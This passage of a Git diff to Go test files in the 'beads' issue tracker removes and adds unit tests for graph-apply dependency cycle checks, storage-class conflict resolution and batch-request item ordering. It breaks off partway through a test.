after its -// blocks-only whole-graph cycle preflight. -func TestExecuteGraphApplyUnitRejectsBlockingThroughExistingParentChild(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - for _, id := range []string{"ga-parent", "ga-child"} { - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: id, - Title: id, - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, actor); err != nil { - t.Fatalf("CreateIssue(%s): %v", id, err) - } - } - // Existing parent-child dep: ga-child is a child of ga-parent. - fakeStore.deps = append(fakeStore.deps, &types.Dependency{ - IssueID: "ga-child", - DependsOnID: "ga-parent", - Type: types.DepParentChild, - }) - - plan := &GraphApplyPlan{ - Edges: []GraphApplyEdge{ - {FromID: "ga-parent", ToID: "ga-child", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected blocking edge to own descendant to be rejected") - } - if !strings.Contains(err.Error(), "cannot be blocked by its descendant") { - t.Fatalf("error = %q, want hierarchy rejection", err.Error()) - } -} - -func TestExecuteGraphApplyUnitRejectsBlockingThroughPlannedHierarchyRegardlessOfOrder(t *testing.T) { - tests := []struct { - name string - plan *GraphApplyPlan - }{ - { - name: "explicit edges", - plan: &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "grand", Title: "Grand"}, - {Key: "parent", Title: "Parent"}, - {Key: "child", Title: "Child"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "child", ToKey: "grand", Type: "conditional-blocks"}, // Deliberately first. - {FromKey: "child", ToKey: "parent", Type: "parent-child"}, - {FromKey: "parent", ToKey: "grand", Type: "parent-child"}, - }, - }, - }, - { - name: "inline deps", - plan: &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "grand", Title: "Grand"}, - {Key: "parent", Title: "Parent", Deps: []GraphApplyNodeDep{{Type: "parent-child", Target: "grand"}}}, - {Key: "child", Title: "Child", Deps: []GraphApplyNodeDep{ - {Type: "blocks", Target: "grand"}, // Deliberately first. - {Type: "parent-child", Target: "parent"}, - }}, - }, - }, - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - _, err := executeGraphApply(ctx, tt.plan, GraphApplyOptions{}) - if err == nil || !strings.Contains(err.Error(), "cannot be blocked by its ancestor") { - t.Fatalf("error = %v, want planned-ancestor rejection", err) - } - if len(fakeStore.issues) != 0 || len(fakeStore.deps) != 0 { - t.Fatalf("failed graph transaction leaked writes: issues=%d deps=%d", len(fakeStore.issues), len(fakeStore.deps)) - } - }) - } -} - -// TestExecuteGraphApplyUnitRejectsBlockingThroughExistingBlocking is the -// companion guard: a planned blocking edge that closes a cycle through an -// existing blocking dep must still be rejected by the preflight. -func TestExecuteGraphApplyUnitRejectsBlockingThroughExistingBlocking(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - for _, id := range []string{"ga-x", "ga-y"} { - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: id, - Title: id, - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, actor); err != nil { - t.Fatalf("CreateIssue(%s): %v", id, err) - } - } - // Existing blocking dep: ga-y blocks ga-x. - fakeStore.deps = append(fakeStore.deps, &types.Dependency{ - IssueID: "ga-y", - DependsOnID: "ga-x", - Type: types.DepBlocks, - }) - - plan := &GraphApplyPlan{ - Edges: []GraphApplyEdge{ - {FromID: "ga-x", ToID: "ga-y", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected blocking cycle through existing blocking dep to be rejected") - } - if !strings.Contains(err.Error(), "cycle") { - t.Fatalf("error = %q, want cycle rejection", err.Error()) - } -} - -func TestExecuteGraphApplyUnitRejectsBlockingChildToParentDuplicate(t *testing.T) { - ctx, _ := withGraphApplyFakeStore(t) - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "child", ToKey: "root"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected default blocking child-to-parent duplicate to be rejected") - } - if !strings.Contains(err.Error(), "parent-child") { - t.Fatalf("error = %q, want parent-child duplicate rejection", err.Error()) - } -} - -func TestExecuteGraphApplyUnitRejectsReverseParentToChildBlockingEdge(t *testing.T) { - tests := []struct { - name string - depType string - externalID bool - }{ - {name: "local blocks", depType: "blocks"}, - {name: "local conditional blocks", depType: "conditional-blocks"}, - {name: "external blocks", depType: "blocks", externalID: true}, - {name: "external conditional blocks", depType: "conditional-blocks", externalID: true}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - nodes := []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, - } - edge := GraphApplyEdge{FromKey: "root", ToKey: "child", Type: tt.depType} - if tt.externalID { - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-parent", - Title: "Existing Parent", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeEpic, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing parent): %v", err) - } - nodes = []GraphApplyNode{ - {Key: "child", Title: "Child", Type: "task", ParentID: "ga-parent"}, - } - edge = GraphApplyEdge{FromID: "ga-parent", ToKey: "child", Type: tt.depType} - } - - plan := &GraphApplyPlan{ - Nodes: nodes, - Edges: []GraphApplyEdge{edge}, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected reverse parent-to-child blocking edge to be rejected") - } - if !strings.Contains(err.Error(), "parent-child") { - t.Fatalf("error = %q, want parent-child reverse rejection", err.Error()) - } - }) - } -} - -func TestExecuteGraphApplyUnitRejectsExternalParentTransitiveBlockingPath(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-parent", - Title: "Existing Parent", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeEpic, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing parent): %v", err) - } - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "mid", Title: "Middle", Type: "task"}, - {Key: "child", Title: "Child", Type: "task", ParentID: "ga-parent"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-parent", ToKey: "mid", Type: "blocks"}, - {FromKey: "mid", ToKey: "child", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected external parent transitive blocking path to be rejected") - } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { - t.Fatalf("error = %q, want to contain %q", got, want) - } - if _, ok := fakeStore.issues["ga-1"]; ok { - t.Fatal("transaction committed graph issues after validation failure") - } -} - -func TestExecuteGraphApplyUnitRejectsStoredPrefixParentBlockingPath(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - for _, issue := range []*types.Issue{ - { - ID: "ga-parent", - Title: "Existing Parent", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, - { - ID: "ga-existing-mid", - Title: "Existing Middle", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, - } { - if err := fakeStore.CreateIssue(ctx, issue, actor); err != nil { - t.Fatalf("CreateIssue(%s): %v", issue.ID, err) - } - } - fakeStore.deps = append(fakeStore.deps, &types.Dependency{ - IssueID: "ga-parent", - DependsOnID: "ga-existing-mid", - Type: types.DepBlocks, - }) - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "child", Title: "Child", Type: "task", ParentID: "ga-parent"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-existing-mid", ToKey: "child", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected stored-prefix parent blocking path to be rejected") - } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { - t.Fatalf("error = %q, want to contain %q", got, want) - } - if _, ok := fakeStore.issues["ga-1"]; ok { - t.Fatal("transaction committed graph issues after validation failure") - } -} - -func TestExecuteGraphApplyUnitRejectsTransitiveParentChainBlockingCycle(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-existing-parent", - Title: "Existing Parent", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeEpic, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing parent): %v", err) - } - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task", ParentKey: "b"}, - {Key: "b", Title: "B", Type: "task", ParentID: "ga-existing-parent"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-existing-parent", ToKey: "a", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected transitive parent-chain blocking cycle to be rejected") - } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { - t.Fatalf("error = %q, want to contain %q", got, want) - } - if _, ok := fakeStore.issues["ga-1"]; ok { - t.Fatal("transaction committed graph issues after validation failure") - } -} - -func TestExecuteGraphApplyUnitRejectsReverseParentChildEdgeCycle(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "root", ToKey: "child", Type: string(types.DepParentChild)}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected reverse parent-child edge to be rejected") - } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { - t.Fatalf("error = %q, want to contain %q", got, want) - } - if _, ok := fakeStore.issues["ga-1"]; ok { - t.Fatal("transaction committed graph issues after validation failure") - } -} - -func TestExecuteGraphApplyUnitRejectsCombinedSchedulingCycle(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task"}, - {Key: "c", Title: "C", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, - {FromKey: "b", ToKey: "c", Type: string(types.DepParentChild)}, - {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil || !strings.Contains(err.Error(), "cycle") { - t.Fatalf("combined scheduling cycle error = %v, want rejection", err) - } - if len(fakeStore.issues) != 0 || len(fakeStore.deps) != 0 { - t.Fatalf("transaction committed after combined cycle: issues=%d deps=%d", len(fakeStore.issues), len(fakeStore.deps)) - } -} - -func TestExecuteGraphApplyUnitFinalGateCatchesCycleHiddenFromPerEdgeChecks(t *testing.T) { - plans := map[string]*GraphApplyPlan{ - "explicit parent-child edge": { - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task"}, - {Key: "c", Title: "C", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, - {FromKey: "b", ToKey: "c", Type: string(types.DepParentChild)}, - {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, - }, - }, - "inline parent-child dependency": { - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task", Deps: []GraphApplyNodeDep{{Type: string(types.DepParentChild), Target: "c"}}}, - {Key: "c", Title: "C", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, - {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, - }, - }, - } - for name, plan := range plans { - t.Run(name, func(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - fakeStore.blindPerEdgeCycleChecks = true - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil || !strings.Contains(err.Error(), "graph dependency cycle") { - t.Fatalf("final merged cycle gate error = %v, want rejection", err) - } - if len(fakeStore.issues) != 0 || len(fakeStore.deps) != 0 { - t.Fatalf("transaction committed after final cycle gate: issues=%d deps=%d", len(fakeStore.issues), len(fakeStore.deps)) - } - }) - } -} - -func TestExecuteGraphApplyUnitFinalGateIncludesImplicitNodeParent(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task", ParentKey: "c"}, - {Key: "c", Title: "C", Type: "task"}, - }, - Edges: []GraphApplyEdge{{FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}}, - } - result, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err != nil { - t.Fatalf("executeGraphApply: %v", err) - } - want := map[[2]string]bool{ - {result.IDs["a"], result.IDs["b"]}: true, - {result.IDs["b"], result.IDs["c"]}: true, - } - if len(fakeStore.cycleEdges) != len(want) { - t.Fatalf("final cycle edges = %v, want explicit block plus implicit parent", fakeStore.cycleEdges) - } - for _, edge := range fakeStore.cycleEdges { - if !want[edge] { - t.Fatalf("unexpected final cycle edge %v; want %v", edge, want) - } - } -} - -func TestExecuteGraphApplyUnitAllowsExplicitParentChildDuplicate(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "child", ToKey: "root", Type: string(types.DepParentChild)}, - }, - } - - result, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err != nil { - t.Fatalf("executeGraphApply: %v", err) - } - deps, err := fakeStore.GetDependenciesWithMetadata(ctx, result.IDs["child"]) - if err != nil { - t.Fatalf("GetDependenciesWithMetadata(child): %v", err) - } - if len(deps) != 1 { - t.Fatalf("dependency count = %d, want 1", len(deps)) - } - if deps[0].ID != result.IDs["root"] { - t.Fatalf("dependency target = %s, want %s", deps[0].ID, result.IDs["root"]) - } - if deps[0].DependencyType != types.DepParentChild { - t.Fatalf("dependency type = %s, want %s", deps[0].DependencyType, types.DepParentChild) - } -} - -// An explicit durable storage_class on an effective wisp-plane node must be -// rejected, not silently erased into an effective-ephemeral record -// (Protocol v0.1 §C1.3). versioned is normalized to the unset marker (C2.4) -// only after that conflict check. Cases pin an explicit class so resolution -// never reads the config global and the test stays hermetic; config-default -// interaction is covered by the embedded create tests. -func TestGraphApplyNodeStorageClassConflicts(t *testing.T) { - boolPtr := func(b bool) *bool { return &b } - - tests := []struct { - name string - node GraphApplyNode - opts GraphApplyOptions - wantErr string // substring; "" means no error expected - wantEphem bool - wantClass types.StorageClass - }{ - { - name: "explicit versioned with node ephemeral is rejected", - node: GraphApplyNode{Key: "n1", Type: "task", StorageClass: "versioned", Ephemeral: boolPtr(true)}, - wantErr: "storage_class versioned conflicts with ephemeral/no_history", - }, - { - name: "explicit versioned with node no_history is rejected", - node: GraphApplyNode{Key: "n2", Type: "task", StorageClass: "versioned", NoHistory: boolPtr(true)}, - wantErr: "storage_class versioned conflicts with ephemeral/no_history", - }, - { - name: "explicit unversioned with plan-wide ephemeral is rejected", - node: GraphApplyNode{Key: "n3", Type: "task", StorageClass: "unversioned"}, - opts: GraphApplyOptions{Ephemeral: true}, - wantErr: "storage_class unversioned conflicts with ephemeral/no_history", - }, - { - name: "explicit versioned alone normalizes to unset", - node: GraphApplyNode{Key: "n4", Type: "task", StorageClass: "versioned"}, - wantClass: "", - }, - { - name: "storage_class ephemeral spelling routes to wisp", - node: GraphApplyNode{Key: "n5", Type: "task", StorageClass: "ephemeral"}, - wantEphem: true, - wantClass: "", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - ephemeral, _, class, err := graphApplyNodeStorageClass(tt.node, tt.opts) - if tt.wantErr != "" { - if err == nil { - t.Fatalf("expected error containing %q, got nil (ephemeral=%v class=%q)", tt.wantErr, ephemeral, class) - } - if !strings.Contains(err.Error(), tt.wantErr) { - t.Fatalf("error = %q, want substring %q", err.Error(), tt.wantErr) - } - return - } - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - if ephemeral != tt.wantEphem { - t.Errorf("ephemeral = %v, want %v", ephemeral, tt.wantEphem) - } - if class != tt.wantClass { - t.Errorf("class = %q, want %q", class, tt.wantClass) - } - }) - } -} - -// A per-type config default (storage-class.=unversioned) must yield to an -// effective wisp plane rather than reaching validation and blocking the node -// (flag > config, Protocol v0.1 §C1.3). Unlike the hermetic conflict cases -// above, these leave node.StorageClass unset so resolution reads the config -// global, so the subtests share one process-wide config and cannot run in -// parallel. The precondition assert guards against a silent pass if config -// never initialized (Set is a no-op on an uninitialized viper). -func TestGraphApplyNodeStorageClassConfigDefaultYieldsToWispPlane(t *testing.T) { - config.ResetForTesting() - t.Cleanup(config.ResetForTesting) - if err := config.Initialize(); err != nil { - t.Fatalf("config.Initialize: %v", err) - } - config.Set("storage-class.task", "unversioned") - if got := config.GetString("storage-class.task"); got != "unversioned" { - t.Fatalf("precondition: storage-class.task = %q, want unversioned", got) - } - - boolPtr := func(b bool) *bool { return &b } - - tests := []struct { - name string - node GraphApplyNode - opts GraphApplyOptions - wantEphem bool - wantNoHis bool - }{ - { - name: "plan-wide ephemeral clears config-derived unversioned", - node: GraphApplyNode{Key: "n1", Type: "task"}, - opts: GraphApplyOptions{Ephemeral: true}, - wantEphem: true, - }, - { - name: "node-level ephemeral clears config-derived unversioned", - node: GraphApplyNode{Key: "n2", Type: "task", Ephemeral: boolPtr(true)}, - wantEphem: true, - }, - { - name: "plan-wide no_history clears config-derived unversioned", - node: GraphApplyNode{Key: "n3", Type: "task"}, - opts: GraphApplyOptions{NoHistory: true}, - wantNoHis: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - ephemeral, noHistory, class, err := graphApplyNodeStorageClass(tt.node, tt.opts) - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - if class != "" { - t.Errorf("class = %q, want empty (config default yields to wisp plane)", class) - } - if ephemeral != tt.wantEphem { - t.Errorf("ephemeral = %v, want %v", ephemeral, tt.wantEphem) - } - if noHistory != tt.wantNoHis { - t.Errorf("noHistory = %v, want %v", noHistory, tt.wantNoHis) - } - }) - } -} diff --git a/cmd/bd/graph_apply_test.go b/cmd/bd/graph_apply_test.go index 7a848d05a..1d8ded671 100644 --- a/cmd/bd/graph_apply_test.go +++ b/cmd/bd/graph_apply_test.go @@ -3,6 +3,7 @@ package main import ( "bytes" "encoding/json" + "errors" "fmt" "os" "reflect" @@ -10,7 +11,9 @@ import ( "strings" "testing" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) // TestDocsGraphPlanExampleValidates pins the --graph doc supplement's example @@ -526,35 +529,6 @@ func TestGraphApplyEdgeIsLocalCycleRelevantOnlyForLocalBlockingEdges(t *testing. } } -func TestGraphApplyParentDepPairs(t *testing.T) { - nodes := []GraphApplyNode{ - {Key: "root", Title: "Root"}, - {Key: "child", Title: "Child", ParentKey: "root"}, - {Key: "external-child", Title: "External child", ParentID: "bd-parent"}, - } - keyToID := map[string]string{ - "root": "bd-root", - "child": "bd-child", - "external-child": "bd-external-child", - } - - pairs := graphApplyParentDepPairs(nodes, keyToID) - for _, pair := range []struct { - child string - parent string - }{ - {"bd-child", "bd-root"}, - {"bd-external-child", "bd-parent"}, - } { - if !pairs[graphApplyDepPairKey(pair.child, pair.parent)] { - t.Fatalf("missing parent dep pair %s -> %s", pair.child, pair.parent) - } - } - if pairs[graphApplyDepPairKey("bd-root", "bd-child")] { - t.Fatal("unexpected reverse parent dep pair") - } -} - // TestEmitGraphApplyDryRun_JSON verifies that the dry-run path emits valid // JSON with the expected structure when jsonOutput is set. This exercises the // code path that `bd create --graph --dry-run --json` takes, confirming the @@ -1007,3 +981,638 @@ func TestGraphApplyNodeCoversCreateIssueParams(t *testing.T) { } } } + +// An explicit durable storage_class on an effective wisp-plane node must be +// rejected, not silently erased into an effective-ephemeral record +// (Protocol v0.1 §C1.3). versioned is normalized to the unset marker (C2.4) +// only after that conflict check. Cases pin an explicit class so resolution +// never reads the config global and the test stays hermetic; config-default +// interaction is covered by the embedded create tests. +func TestGraphApplyNodeStorageClassConflicts(t *testing.T) { + boolPtr := func(b bool) *bool { return &b } + + tests := []struct { + name string + node GraphApplyNode + opts GraphApplyOptions + wantErr string // substring; "" means no error expected + wantEphem bool + wantClass types.StorageClass + }{ + { + name: "explicit versioned with node ephemeral is rejected", + node: GraphApplyNode{Key: "n1", Type: "task", StorageClass: "versioned", Ephemeral: boolPtr(true)}, + wantErr: "storage_class versioned conflicts with ephemeral/no_history", + }, + { + name: "explicit versioned with node no_history is rejected", + node: GraphApplyNode{Key: "n2", Type: "task", StorageClass: "versioned", NoHistory: boolPtr(true)}, + wantErr: "storage_class versioned conflicts with ephemeral/no_history", + }, + { + name: "explicit unversioned with plan-wide ephemeral is rejected", + node: GraphApplyNode{Key: "n3", Type: "task", StorageClass: "unversioned"}, + opts: GraphApplyOptions{Ephemeral: true}, + wantErr: "storage_class unversioned conflicts with ephemeral/no_history", + }, + { + name: "explicit versioned alone normalizes to unset", + node: GraphApplyNode{Key: "n4", Type: "task", StorageClass: "versioned"}, + wantClass: "", + }, + { + name: "storage_class ephemeral spelling routes to wisp", + node: GraphApplyNode{Key: "n5", Type: "task", StorageClass: "ephemeral"}, + wantEphem: true, + wantClass: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ephemeral, _, class, err := graphApplyNodeStorageClass(tt.node, tt.opts) + if tt.wantErr != "" { + if err == nil { + t.Fatalf("expected error containing %q, got nil (ephemeral=%v class=%q)", tt.wantErr, ephemeral, class) + } + if !strings.Contains(err.Error(), tt.wantErr) { + t.Fatalf("error = %q, want substring %q", err.Error(), tt.wantErr) + } + return + } + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if ephemeral != tt.wantEphem { + t.Errorf("ephemeral = %v, want %v", ephemeral, tt.wantEphem) + } + if class != tt.wantClass { + t.Errorf("class = %q, want %q", class, tt.wantClass) + } + }) + } +} + +// A per-type config default (storage-class.=unversioned) must yield to an +// effective wisp plane rather than reaching validation and blocking the node +// (flag > config, Protocol v0.1 §C1.3). Unlike the hermetic conflict cases +// above, these leave node.StorageClass unset so resolution reads the config +// global, so the subtests share one process-wide config and cannot run in +// parallel. The precondition assert guards against a silent pass if config +// never initialized (Set is a no-op on an uninitialized viper). +func TestGraphApplyNodeStorageClassConfigDefaultYieldsToWispPlane(t *testing.T) { + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + config.Set("storage-class.task", "unversioned") + if got := config.GetString("storage-class.task"); got != "unversioned" { + t.Fatalf("precondition: storage-class.task = %q, want unversioned", got) + } + + boolPtr := func(b bool) *bool { return &b } + + tests := []struct { + name string + node GraphApplyNode + opts GraphApplyOptions + wantEphem bool + wantNoHis bool + }{ + { + name: "plan-wide ephemeral clears config-derived unversioned", + node: GraphApplyNode{Key: "n1", Type: "task"}, + opts: GraphApplyOptions{Ephemeral: true}, + wantEphem: true, + }, + { + name: "node-level ephemeral clears config-derived unversioned", + node: GraphApplyNode{Key: "n2", Type: "task", Ephemeral: boolPtr(true)}, + wantEphem: true, + }, + { + name: "plan-wide no_history clears config-derived unversioned", + node: GraphApplyNode{Key: "n3", Type: "task"}, + opts: GraphApplyOptions{NoHistory: true}, + wantNoHis: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ephemeral, noHistory, class, err := graphApplyNodeStorageClass(tt.node, tt.opts) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if class != "" { + t.Errorf("class = %q, want empty (config default yields to wisp plane)", class) + } + if ephemeral != tt.wantEphem { + t.Errorf("ephemeral = %v, want %v", ephemeral, tt.wantEphem) + } + if noHistory != tt.wantNoHis { + t.Errorf("noHistory = %v, want %v", noHistory, tt.wantNoHis) + } + }) + } +} + +// TestBuildGraphApplyBatchRequestItemOrderAndRefs pins the translation +// buildGraphApplyBatchRequest performs for both the embedded and proxied +// `bd create --graph` legs: every create lands first (plan order), then +// parent-child dep_adds, then explicit edges, then inline node deps, then +// trailing assign_after_create updates — so every Ref below resolves +// backward regardless of the plan's own declaration order. +func TestBuildGraphApplyBatchRequestItemOrderAndRefs(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "root", Title: "Root", Type: "epic"}, + {Key: "child", Title: "Child", ParentKey: "root", Deps: []GraphApplyNodeDep{{Target: "root", Type: "blocks"}}}, + {Key: "deferred", Title: "Deferred assignee", Assignee: "worker", AssignAfterCreate: true}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "child", ToKey: "deferred", Type: "related-to"}, + }, + } + + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "owner@example.com") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + + var gotKinds []issueops.ItemKind + for _, item := range req.Items { + gotKinds = append(gotKinds, item.Kind) + } + wantKinds := []issueops.ItemKind{ + issueops.ItemCreate, issueops.ItemCreate, issueops.ItemCreate, // root, child, deferred + issueops.ItemDepAdd, // child -> root (parent-child) + issueops.ItemDepAdd, // child -> deferred (explicit edge) + issueops.ItemDepAdd, // child -> root (inline dep) + issueops.ItemUpdate, // deferred's assign_after_create + } + if len(gotKinds) != len(wantKinds) { + t.Fatalf("item kinds = %v, want %v", gotKinds, wantKinds) + } + for i := range wantKinds { + if gotKinds[i] != wantKinds[i] { + t.Errorf("item %d kind = %q, want %q", i, gotKinds[i], wantKinds[i]) + } + } + + parentDep := req.Items[3].DepAdd + if parentDep.Source != (issueops.Ref{Key: "child"}) || parentDep.Target != (issueops.Ref{Key: "root"}) || parentDep.Type != types.DepParentChild { + t.Errorf("parent-child dep_add = %+v", parentDep) + } + explicitEdge := req.Items[4].DepAdd + if explicitEdge.Source != (issueops.Ref{Key: "child"}) || explicitEdge.Target != (issueops.Ref{Key: "deferred"}) || explicitEdge.Type != types.DependencyType("related-to") { + t.Errorf("explicit edge dep_add = %+v", explicitEdge) + } + inlineDep := req.Items[5].DepAdd + if inlineDep.Source != (issueops.Ref{Key: "child"}) || inlineDep.Target != (issueops.Ref{Key: "root"}) || inlineDep.Type != types.DepBlocks { + t.Errorf("inline dep_add = %+v", inlineDep) + } + update := req.Items[6].Update + if update.Target != (issueops.Ref{Key: "deferred"}) || !update.Patch.Assignee.Set || update.Patch.Assignee.Value != "worker" { + t.Errorf("deferred assignee update = %+v", update) + } + + if req.Actor != "actor" || req.Provenance == "" { + t.Errorf("request actor/provenance = %q/%q", req.Actor, req.Provenance) + } +} + +// TestBuildGraphApplyBatchRequestEdgeRefPrefersExplicitID pins resolveEdgeRef's +// old precedence, now inlined as the `ref` closure: an edge endpoint carrying +// both a plan key and an explicit id resolves to the id. +func TestBuildGraphApplyBatchRequestEdgeRefPrefersExplicitID(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A"}, + {Key: "b", Title: "B"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", ToID: "bd-existing", Type: "blocks"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + var edge *issueops.DepAddItem + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd { + edge = item.DepAdd + } + } + if edge == nil { + t.Fatal("no dep_add item found") + } + if edge.Target != (issueops.Ref{ID: "bd-existing"}) { + t.Errorf("edge target = %+v, want explicit id to win over to_key", edge.Target) + } +} + +// TestBuildGraphApplyBatchRequestParentKeyWinsOverParentID pins the opposite +// precedence for a node's parent: a node naming both a plan-local parent +// (parent_key, or its parent alias) and a parent_id is parented under the +// plan key, as both legs did before the BatchApplier translation, and as the +// dry-run preview and the local cycle check already assume. +func TestBuildGraphApplyBatchRequestParentKeyWinsOverParentID(t *testing.T) { + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "root", Title: "Root", Type: "epic"}, + {Key: "keyed", Title: "Keyed", ParentKey: "root", ParentID: "bd-existing"}, + {Key: "aliased", Title: "Aliased", Parent: "root", ParentID: "bd-existing"}, + {Key: "external", Title: "External", ParentID: "bd-existing"}, + }, + } + req, err := buildGraphApplyBatchRequest(plan, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + got := map[string]issueops.Ref{} + for _, item := range req.Items { + if item.Kind == issueops.ItemDepAdd && item.DepAdd.Type == types.DepParentChild { + got[item.DepAdd.Source.Key] = item.DepAdd.Target + } + } + want := map[string]issueops.Ref{ + 